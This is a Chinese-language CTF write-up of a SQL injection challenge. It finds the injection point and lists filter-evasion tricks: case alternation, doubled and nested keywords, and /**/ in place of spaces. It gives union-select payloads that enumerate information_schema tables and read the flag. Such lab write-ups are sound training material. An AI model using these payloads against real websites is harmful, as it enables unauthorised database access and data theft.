首先查看源碼找找思路

發現源碼里什么都沒有
再使用bp攔截下數據

多次攔截后發現我們在

輸入框里輸入的等下就是id=
意思是我們這里就可以直接使用get注入了
好像類似於sql-labs上的?id=
所以這里應該還用不上bp,我們直接對輸入欄里進行注入試試
1

1’

1”

發現1’會報錯,所以這里的注入口就是1’
根據提示這里的sql注入會過濾一些東西,所以我們先找找那些會被過濾
這里我們嘗試1#,1’#,1”#
發現只有1’#會報錯其余的都會被過濾掉

所以這里的#也是被過濾了不起作用的.
再測試 1' order by 1 #和1' select 1 #發現報錯的都只有
所以這里我們輸入的注入語句關鍵字也被過濾了
百度了一下防過濾的方法
關鍵詞被過濾:解決方法如下
1大小寫交替: Order SeLect
2.雙寫 : OderOrder SelectSelect (雙寫后要加兩空格)
3.交叉: selecselectt
注釋符被過濾,解決方法如下:
用 '號閉合 ,如having , where
空格被過濾,解決方法如下:
+,/**/,%0a
所以這里使用/**/代替掉空格試試
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1' ='1

name中顯示出了數據庫表名稱,證明這個方法可行
再使用
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='web1
查詢表中列的信息

發現沒用,有點尷尬。。。。混合使用雙寫交叉試試
1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere table_schemtable_schemaa='web1

這樣就得到了列名稱
再就是查詢flag列下的信息了
使用雙寫的方法
1' unionunion selectselect flag fromfrom flag wherewhere '1' ='1

就得到flag了(這里是第一次寫的ctf題的wp所以有點瓜皮,后面就直接根據信息來判斷題的類型來做題了)
